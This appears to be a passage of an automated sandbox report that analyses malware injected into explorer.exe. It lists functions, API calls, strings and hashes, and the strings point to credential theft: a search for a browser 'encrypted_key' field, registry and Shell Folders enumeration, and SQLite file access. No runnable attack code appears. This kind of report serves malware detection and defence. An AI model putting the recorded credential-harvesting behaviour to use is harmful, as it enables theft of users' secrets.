Part of subcall function 00BF19E5: RegOpenKeyExW.KERNELBASE(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00BF1AE2,PortNumber,00000000,00000000), ref: 00BF1A1E
Part of subcall function 00BF19E5: RegQueryValueExW.KERNELBASE(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 00BF1A3C
Part of subcall function 00BF19E5: RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 00BF1A75
Part of subcall function 00BF19E5: RegCloseKey.KERNELBASE(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00BF1AE2,PortNumber,00000000,00000000), ref: 00BF1A98

Part of subcall function 00BF1BC5: lstrlenW.KERNEL32(00000000,00000000,?,00BF2E75,PathToExe,00000000,00000000), ref: 00BF1BCC
Part of subcall function 00BF1BC5: StrStrIW.SHLWAPI(00000000,.exe,?,00BF2E75,PathToExe,00000000,00000000), ref: 00BF1BF0
Part of subcall function 00BF1BC5: StrRChrIW.SHLWAPI(00000000,00000000,0000005C,?,00BF2E75,PathToExe,00000000,00000000), ref: 00BF1C05
Part of subcall function 00BF1BC5: lstrlenW.KERNEL32(00000000,?,00BF2E75,PathToExe,00000000,00000000), ref: 00BF1C1C

Part of subcall function 00BF1AFE: SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,00000000,00000000,?,?,00BF2E83,PathToExe,00000000,00000000), ref: 00BF1B16

Strings

PathToExe, xrefs: 00BF2E5E

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: CloseOpenQueryValuelstrlen$EnumFolderPath
String ID: PathToExe
API String ID: 1799103994-1982016430
Opcode ID: 19298d6edc79c4c0ddb46bc0b99eeac731177ab777a88538aad016e2f802adf1
Instruction ID: 974eacdae1a04a26d050625f868013a1f5fc180307ce2a6480c6a82d83b88530
Opcode Fuzzy Hash: 19298d6edc79c4c0ddb46bc0b99eeac731177ab777a88538aad016e2f802adf1
Instruction Fuzzy Hash: C931AD71604219AF8B15AF25CC1597FBBE9EFC5350B00896CF95887245DE30C90ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00BFA67C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 78
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_alldiv.NTDLL(?,?,?), ref: 00BFA6AD
_allmul.NTDLL(00000000,?,?), ref: 00BFA6B6
SetEndOfFile.KERNELBASE(?), ref: 00BFA6F3

Strings

winTruncate2, xrefs: 00BFA717
winTruncate1, xrefs: 00BFA6DF

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: File_alldiv_allmul
String ID: winTruncate1$winTruncate2
API String ID: 3568847005-470713972
Opcode ID: e329ba5d8b5ef48e4b679e020566c0562f0a8bcd72231624110c6642eb05b1b9
Instruction ID: c22b32389a7c5b6df834076f808d2c81b8552302e4e8e158eb700432dcda0d85
Opcode Fuzzy Hash: e329ba5d8b5ef48e4b679e020566c0562f0a8bcd72231624110c6642eb05b1b9
Instruction Fuzzy Hash: E421D3B1201204ABDB18AF29CC85E7737E9EF84310F1581A9FE08DB245D631DC14CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00BF4A71 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BF1000: GetProcessHeap.KERNEL32(00000008,?,00BF11C7,?,?,00000001,00000000,?), ref: 00BF1003
Part of subcall function 00BF1000: RtlAllocateHeap.NTDLL(00000000), ref: 00BF100A

wsprintfW.USER32 ref: 00BF4AA2
RegCreateKeyExW.KERNELBASE(80000001,00000000,00000000,00000000,00000000,000F003F,00000000,?,?), ref: 00BF4AC7
RegCloseKey.KERNELBASE(?), ref: 00BF4AD4

Strings

%s\%08x, xrefs: 00BF4A9C
Software, xrefs: 00BF4A95

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: Heap$AllocateCloseCreateProcesswsprintf
String ID: %s\%08x$Software
API String ID: 1800864259-1658101971
Opcode ID: 2714d3bc0426705c70b043451e48ee7b1cab08f3681208d0d82bedf1cc99c4e9
Instruction ID: 11850c1aa5dcffe37718eae4f9d03c80ada335517c8521aae0d634113a7f2b21
Opcode Fuzzy Hash: 2714d3bc0426705c70b043451e48ee7b1cab08f3681208d0d82bedf1cc99c4e9
Instruction Fuzzy Hash: 1101F775600108BFA7189F95EC4AFBF77BDEB42344B4001AEFA05A3141DB715D449665

Uniqueness

Uniqueness Score: -1.00%

Function 00BF4317 Relevance: 7.6, APIs: 5, Instructions: 64registryCOMMON

Download Yara Rule

APIs

_alloca_probe.NTDLL ref: 00BF431C
RegOpenKeyW.ADVAPI32(80000001,?,?), ref: 00BF4335
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00BF4363
RegCloseKey.ADVAPI32(?), ref: 00BF43C8

Part of subcall function 00BF1953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,00BF2F0C), ref: 00BF1973
Part of subcall function 00BF1953: lstrlenW.KERNEL32(00C46564,?,?,00BF2F0C), ref: 00BF1978
Part of subcall function 00BF1953: lstrcatW.KERNEL32(00000000,?), ref: 00BF1990
Part of subcall function 00BF1953: lstrcatW.KERNEL32(00000000,00C46564), ref: 00BF1994

Part of subcall function 00BF418A: wsprintfW.USER32 ref: 00BF4212

Part of subcall function 00BF1011: GetProcessHeap.KERNEL32(00000000,00000000,?,00BF1A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00BF1AE2), ref: 00BF1020
Part of subcall function 00BF1011: RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00BF1AE2,PortNumber,00000000,00000000), ref: 00BF1027

RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00BF43B9

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: EnumHeaplstrcatlstrlen$CloseFreeOpenProcess_alloca_probewsprintf
String ID:
API String ID: 801677237-0
Opcode ID: 2b3e09c7b1c85794ecf9d2ae9398cc34d2a9c36143b8eaa45b44e8f59f773a8b
Instruction ID: 26d8d265e80e81b5e732b6d2b72441f2b1be679ee42423101e9a017e08cb2bbf
Opcode Fuzzy Hash: 2b3e09c7b1c85794ecf9d2ae9398cc34d2a9c36143b8eaa45b44e8f59f773a8b
Instruction Fuzzy Hash: 591142B1104205BFE7159B20DC49EBF77EDFB89344F004A2DF589D2150EB749D489A66

Uniqueness

Uniqueness Score: -1.00%

Function 00BFB87B Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 202fileCOMMON

Download Yara Rule

APIs

memset.NTDLL ref: 00BFB8D5
CreateFileW.KERNELBASE(00000000,?,00000003,00000000,-00000003,?,00000000), ref: 00BFB96F

Strings

winOpen, xrefs: 00BFBA22
psow, xrefs: 00BFBA95

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: CreateFilememset
String ID: psow$winOpen
API String ID: 2416746761-4101858489
Opcode ID: 0597af7f89bbb687905cc4d2f2c44ecbcb40f14a5c50f67382fced2393c27b08
Instruction ID: e15167a0cc85baa1b47541440f143c70bd8b36ae5983c2a745bc9c99d002889b
Opcode Fuzzy Hash: 0597af7f89bbb687905cc4d2f2c44ecbcb40f14a5c50f67382fced2393c27b08
Instruction Fuzzy Hash: CA71B371A0470A9FC710DF28C881B6AB7E0FF88364F104A6DFA64D7291D774D948CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00C59247 Relevance: 6.3, APIs: 4, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000C57000.00000040.80000000.00040000.00000000.sdmp, Offset: 00C57000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_c57000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2df578e82c8d3847d8ddef24793f2cea667f84ad8feb231773cd001ea1ae5600
Instruction ID: 99f39efeb2b9bcac8d8d7a99e3f818985ef837be71c2c9f50b68c439d41be4ab
Opcode Fuzzy Hash: 2df578e82c8d3847d8ddef24793f2cea667f84ad8feb231773cd001ea1ae5600
Instruction Fuzzy Hash: C1A14C76514352DBD7218E78CCC06A07BA1EB12326B2C07E8CDE18B2D2E770598FC755

Uniqueness

Uniqueness Score: -1.00%

Function 00BF19E5 Relevance: 6.1, APIs: 4, Instructions: 89registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00BF1AE2,PortNumber,00000000,00000000), ref: 00BF1A1E
RegQueryValueExW.KERNELBASE(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 00BF1A3C
RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 00BF1A75
RegCloseKey.KERNELBASE(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00BF1AE2,PortNumber,00000000,00000000), ref: 00BF1A98

Part of subcall function 00BF1011: GetProcessHeap.KERNEL32(00000000,00000000,?,00BF1A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00BF1AE2), ref: 00BF1020
Part of subcall function 00BF1011: RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00BF1AE2,PortNumber,00000000,00000000), ref: 00BF1027

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: HeapQueryValue$CloseFreeOpenProcess
String ID:
API String ID: 217796345-0
Opcode ID: ab5f363b40258f1f0896f052c477bcc5bb78eb9cc1fa62a8f09807d22117983b
Instruction ID: 84cbd1148bea87f5845990b7c1768fea5f4bfd74d01a37cae9201c428db3bc70
Opcode Fuzzy Hash: ab5f363b40258f1f0896f052c477bcc5bb78eb9cc1fa62a8f09807d22117983b
Instruction Fuzzy Hash: 4221A072206349EFE7248B298D04F7BB7E8EBD9754F004E6DFA9593140E621CD488662

Uniqueness

Uniqueness Score: -1.00%

Function 00BF1EC1 Relevance: 6.1, APIs: 4, Instructions: 82registryCOMMON

Download Yara Rule

APIs

RegOpenKeyW.ADVAPI32(?,?,?), ref: 00BF1ED5

Part of subcall function 00BF1000: GetProcessHeap.KERNEL32(00000008,?,00BF11C7,?,?,00000001,00000000,?), ref: 00BF1003
Part of subcall function 00BF1000: RtlAllocateHeap.NTDLL(00000000), ref: 00BF100A

RegEnumKeyExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00BF1F0C
RegCloseKey.ADVAPI32(?), ref: 00BF1F98

Part of subcall function 00BF1953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,00BF2F0C), ref: 00BF1973
Part of subcall function 00BF1953: lstrlenW.KERNEL32(00C46564,?,?,00BF2F0C), ref: 00BF1978
Part of subcall function 00BF1953: lstrcatW.KERNEL32(00000000,?), ref: 00BF1990
Part of subcall function 00BF1953: lstrcatW.KERNEL32(00000000,00C46564), ref: 00BF1994

RegEnumKeyExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00BF1F82

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: EnumHeaplstrcatlstrlen$AllocateCloseOpenProcess
String ID:
API String ID: 1077800024-0
Opcode ID: 43618a58893321503abd6669a921234dfac1540845ae8d13deeeb95f463ae23f
Instruction ID: 25d283d96a979dfcff4f021e38aea5a208886be614d193c765259b92187bb8c9
Opcode Fuzzy Hash: 43618a58893321503abd6669a921234dfac1540845ae8d13deeeb95f463ae23f
Instruction Fuzzy Hash: 6B2178B1208305AFDB059B29DC48E3FBBEDEF89344F008D2DF99992111DB75C9099A62

Uniqueness

Uniqueness Score: -1.00%

Function 00BF1C31 Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000000,00000000,00000000,00BF3E1E,00000000,?,00BF3FA8), ref: 00BF1C46
GetFileSize.KERNEL32(00000000,00000000,00000000,?,00BF3FA8), ref: 00BF1C56
CloseHandle.KERNEL32(00000000,?,00BF3FA8), ref: 00BF1C91

Part of subcall function 00BF1000: GetProcessHeap.KERNEL32(00000008,?,00BF11C7,?,?,00000001,00000000,?), ref: 00BF1003
Part of subcall function 00BF1000: RtlAllocateHeap.NTDLL(00000000), ref: 00BF100A

ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000,?,00BF3FA8), ref: 00BF1C76

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: File$Heap$AllocateCloseCreateHandleProcessReadSize
String ID:
API String ID: 2517252058-0
Opcode ID: 503c3079e683b5dce2322df3ad7f916ac07e89690de026151875b69049b6034c
Instruction ID: 08a85bb26ef3390ac18a586bbb3ddeb2b0d4977f3c0f16b0b05d3fe58d792a06
Opcode Fuzzy Hash: 503c3079e683b5dce2322df3ad7f916ac07e89690de026151875b69049b6034c
Instruction Fuzzy Hash: 42F0813124021CBBD2241B2ADC88F7F7A9CEB477B9B160E59F61697190DB125C494175

Uniqueness

Uniqueness Score: -1.00%

Function 00BF2FB1 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 31stringCOMMON

Download Yara Rule

APIs

StrStrIA.KERNELBASE(00000000,"encrypted_key":",00000000,00000000,00000000,00BF3E30,00000000,00000000,?,00BF3FA8), ref: 00BF2FC1
lstrlen.KERNEL32("encrypted_key":",?,00BF3FA8), ref: 00BF2FCE
StrStrIA.SHLWAPI("encrypted_key":",00C4692C,?,00BF3FA8), ref: 00BF2FDD

Part of subcall function 00BF190B: lstrlen.KERNEL32(?,?,?,?,00000000,00BF2783), ref: 00BF192B
Part of subcall function 00BF190B: lstrlen.KERNEL32(00000000,?,?,?,00000000,00BF2783), ref: 00BF1930
Part of subcall function 00BF190B: lstrcat.KERNEL32(00000000,?), ref: 00BF1946
Part of subcall function 00BF190B: lstrcat.KERNEL32(00000000,00000000), ref: 00BF194A

Strings

"encrypted_key":", xrefs: 00BF2FBA, 00BF2FBF, 00BF2FCD, 00BF2FDC

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: lstrlen$lstrcat
String ID: "encrypted_key":"
API String ID: 493641738-877455259
Opcode ID: 4679f9cf4fa4a021371c6f2321e2c3aed88dce58b85373dbc512032752c3b771
Instruction ID: bbe5a0ab600af6d18f568ca39b28c02413b48dd7f05c45002666d2c6f8e9649d
Opcode Fuzzy Hash: 4679f9cf4fa4a021371c6f2321e2c3aed88dce58b85373dbc512032752c3b771
Instruction Fuzzy Hash: 1AE06866B0AB285F83216BB91C44A6F7FACFE0361130400B4F302D3127DF928809D2E2

Uniqueness

Uniqueness Score: -1.00%

Function 00BFBAFC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000000,00000000,00000000,?,readonly_shm,00000000,00000000,?,?,?), ref: 00BFBB40

Strings

winDelete, xrefs: 00BFBB6A

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: AttributesFile
String ID: winDelete
API String ID: 3188754299-3936022152
Opcode ID: 2c4438dd53e3e34c483c498a8cd062663754a9b4b66c562d97e53e4426e851d0
Instruction ID: 996dc26af79418115a4ad7501797c1e553fbc98c098820281b0320dc51a466fc
Opcode Fuzzy Hash: 2c4438dd53e3e34c483c498a8cd062663754a9b4b66c562d97e53e4426e851d0
Instruction Fuzzy Hash: 2E110835B0020CEB9B11AB69C845E7D77F5DB91761F2041E5FA06E728ADB308D0A9752

Uniqueness

Uniqueness Score: -1.00%

Function 00BF2EA5 Relevance: 4.5, APIs: 3, Instructions: 43registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BF1011: GetProcessHeap.KERNEL32(00000000,00000000,?,00BF1A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00BF1AE2), ref: 00BF1020
Part of subcall function 00BF1011: RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00BF1AE2,PortNumber,00000000,00000000), ref: 00BF1027

Part of subcall function 00BF1000: GetProcessHeap.KERNEL32(00000008,?,00BF11C7,?,?,00000001,00000000,?), ref: 00BF1003
Part of subcall function 00BF1000: RtlAllocateHeap.NTDLL(00000000), ref: 00BF100A

RegOpenKeyExW.KERNELBASE(?,?,00000000,00020119,?), ref: 00BF2EE4
RegEnumKeyExW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00BF2F54
RegCloseKey.KERNELBASE(?), ref: 00BF2F62

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: Heap$Process$AllocateCloseEnumFreeOpen
String ID:
API String ID: 1066184869-0
Opcode ID: cf258a69abe332fb2478caf48b840051c33ab94dee1eb45ebdf653daf07cd7d6
Instruction ID: 0b4014612e02c106b3a85519533e673f4e67dbe0af52bd445e830750e2272fc6
Opcode Fuzzy Hash: cf258a69abe332fb2478caf48b840051c33ab94dee1eb45ebdf653daf07cd7d6
Instruction Fuzzy Hash: 7001A231204254AB87159F35DC05EBF7FE9EFC5350F00486DFA5993155CE358849EBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00BF9FC8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00BD0000,00000000), ref: 00BF9FF8

Strings

failed to HeapCreate (%lu), flags=%u, initSize=%lu, maxSize=%lu, xrefs: 00BFA00E

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: CreateHeap
String ID: failed to HeapCreate (%lu), flags=%u, initSize=%lu, maxSize=%lu
API String ID: 10892065-982776804
Opcode ID: dde6d805bdf10045e63ea082e0aa0fde6b2690941fcf39c0b0591be1171afc9b
Instruction ID: 7b0c7326a4f1eb1f8a713ea942f21c05d04dd93b921a0f63e3d04af10cb34da1
Opcode Fuzzy Hash: dde6d805bdf10045e63ea082e0aa0fde6b2690941fcf39c0b0591be1171afc9b
Instruction Fuzzy Hash: 4FF0F6B6644345BAE7325A64AC88F3B67DCD794B8AF1408A9FF49D3240E6706C448231

Uniqueness

Uniqueness Score: -1.00%

Function 00BF1AFE Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 00BF1000: GetProcessHeap.KERNEL32(00000008,?,00BF11C7,?,?,00000001,00000000,?), ref: 00BF1003
Part of subcall function 00BF1000: RtlAllocateHeap.NTDLL(00000000), ref: 00BF100A

SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,00000000,00000000,?,?,00BF2E83,PathToExe,00000000,00000000), ref: 00BF1B16

Part of subcall function 00BF1011: GetProcessHeap.KERNEL32(00000000,00000000,?,00BF1A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00BF1AE2), ref: 00BF1020
Part of subcall function 00BF1011: RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00BF1AE2,PortNumber,00000000,00000000), ref: 00BF1027

Part of subcall function 00BF19E5: RegOpenKeyExW.KERNELBASE(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00BF1AE2,PortNumber,00000000,00000000), ref: 00BF1A1E
Part of subcall function 00BF19E5: RegQueryValueExW.KERNELBASE(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 00BF1A3C
Part of subcall function 00BF19E5: RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 00BF1A75
Part of subcall function 00BF19E5: RegCloseKey.KERNELBASE(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00BF1AE2,PortNumber,00000000,00000000), ref: 00BF1A98

Strings

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 00BF1B40

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: Heap$ProcessQueryValue$AllocateCloseFolderFreeOpenPath
String ID: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
API String ID: 2162223993-2036018995
Opcode ID: aaa9efc95f7fe6184bf38ee2ec3339ceeffd6bb2c0b0c31a00c4bd3053a766e2
Instruction ID: b258ceda7b66c6ed549bbd1b422dce9d8f32272ee3d67a20d71be8e113a9e2a0
Opcode Fuzzy Hash: aaa9efc95f7fe6184bf38ee2ec3339ceeffd6bb2c0b0c31a00c4bd3053a766e2
Instruction Fuzzy Hash: DAF0BB2770064CDBD611663EDC94E7B36CED7D23A63060CA9FA1993242EE126C855274

Uniqueness

Uniqueness Score: -1.00%

Function 00BFA33B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,00000000), ref: 00BFA35F

Strings

winSeekFile, xrefs: 00BFA381

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: FilePointer
String ID: winSeekFile
API String ID: 973152223-3168307952
Opcode ID: 5e625364e4fa12f8d382952ebd397434a1f3bf92656eb2fdeed660272de635ee
Instruction ID: bdf26fea17137b5ee10750c98901e3af510894c10fe7dfe3c492f24ac03641ea
Opcode Fuzzy Hash: 5e625364e4fa12f8d382952ebd397434a1f3bf92656eb2fdeed660272de635ee
Instruction Fuzzy Hash: D7F0F070614308AFE7159F64DC00ABA77EEEB48321F1487A9B925D72D0DA30DD0496A1

Uniqueness

Uniqueness Score: -1.00%

Function 00BF9EA7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(053C0000,00000000,?), ref: 00BF9EB5

Strings

failed to HeapAlloc %u bytes (%lu), heap=%p, xrefs: 00BF9ECD

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: AllocateHeap
String ID: failed to HeapAlloc %u bytes (%lu), heap=%p
API String ID: 1279760036-667713680
Opcode ID: 617762bff62d5bc0ea8d866a5b17cedaee5179c22f646e4ba5412bbb5f96c4a5
Instruction ID: dac34e508127040c25f42f4426af69d9ba23e95521de17a9e9b4f9f4b414776a
Opcode Fuzzy Hash: 617762bff62d5bc0ea8d866a5b17cedaee5179c22f646e4ba5412bbb5f96c4a5
Instruction Fuzzy Hash: E3E0C23B6483107BC6132B94AC09F2FB7A8DB95F11F050495FE04B7261C6309C4297A2

Uniqueness

Uniqueness Score: -1.00%

Function 00BF9EE8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(053C0000,00000000,?), ref: 00BF9EF8

Strings

failed to HeapFree block %p (%lu), heap=%p, xrefs: 00BF9F0E

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: FreeHeap
String ID: failed to HeapFree block %p (%lu), heap=%p
API String ID: 3298025750-4030396798
Opcode ID: 81872837624d675077052105ad05a8ced50da4745485e7c44aaf2b001123ca03
Instruction ID: 4343f756be2ed5b49fda295d2d96d6cf6256f1b679a892ffc16193965f1dcb30
Opcode Fuzzy Hash: 81872837624d675077052105ad05a8ced50da4745485e7c44aaf2b001123ca03
Instruction Fuzzy Hash: 70D0C23A1083007BD2011B509C09F3F77BCAB91B01F080498F600A2076C36064C9AB61

Uniqueness

Uniqueness Score: -1.00%

Function 00BF1B6A Relevance: 3.0, APIs: 2, Instructions: 25fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,00BF2893,00000000,00000000,00000000,?), ref: 00BF1B82
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00BF1B8F

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: ChangeCloseCreateFileFindNotification
String ID:
API String ID: 727422849-0
Opcode ID: 7089767262dcc06f9496fce8af97ddd1e57b8623585ec91417d1e038d9f9710b
Instruction ID: 9a54b4da92264e1dcbcec1cdfc29dc73fd065ff94dc335f0aaecc2d094973122
Opcode Fuzzy Hash: 7089767262dcc06f9496fce8af97ddd1e57b8623585ec91417d1e038d9f9710b
Instruction Fuzzy Hash: 71D08C75202230A2D6711A293C08FBB2E4CEF037B1B440E50B50D96094E210888B81E0

Uniqueness

Uniqueness Score: -1.00%

Function 00BF1011 Relevance: 3.0, APIs: 2, Instructions: 12memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BF1162: VirtualQuery.KERNEL32(?,?,0000001C), ref: 00BF116F

GetProcessHeap.KERNEL32(00000000,00000000,?,00BF1A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00BF1AE2), ref: 00BF1020
RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00BF1AE2,PortNumber,00000000,00000000), ref: 00BF1027

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: Heap$FreeProcessQueryVirtual
String ID:
API String ID: 2580854192-0
Opcode ID: 734241d68a5de32fbf68af96a814f340d1c16f5f36e0d9a77321075e45e37fb0
Instruction ID: 82883d1b74dbb6112972b3759085dd4e50504979b6c5201c5a7001d099d9e872
Opcode Fuzzy Hash: 734241d68a5de32fbf68af96a814f340d1c16f5f36e0d9a77321075e45e37fb0
Instruction Fuzzy Hash: 28C08C3100026092CA6027B83C0CBDE2B48EF0B322F000C81B602A3146CA618C4482A1

Uniqueness

Uniqueness Score: -1.00%

Function 00BF4B72 Relevance: 3.0, APIs: 2, Instructions: 8COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00BF4B74
ExitProcess.KERNEL32 ref: 00BF4B8B

Memory Dump Source

Source File: 00000011.00000002.2384402103.0000000000BF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00BF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bf1000_explorer.jbxd

Similarity

API ID: ExitInitializeProcess
String ID:
API String ID: 2609639641-0
Opcode ID: f899bc798a6d489f216e1edecae75b9a8e523ea40556e0f3cfa538ea46455c98
Instruction ID: 207048df45270bc99d0307a0dfc783cd0777301e31fe7cbb2eb4ff36b899f31f
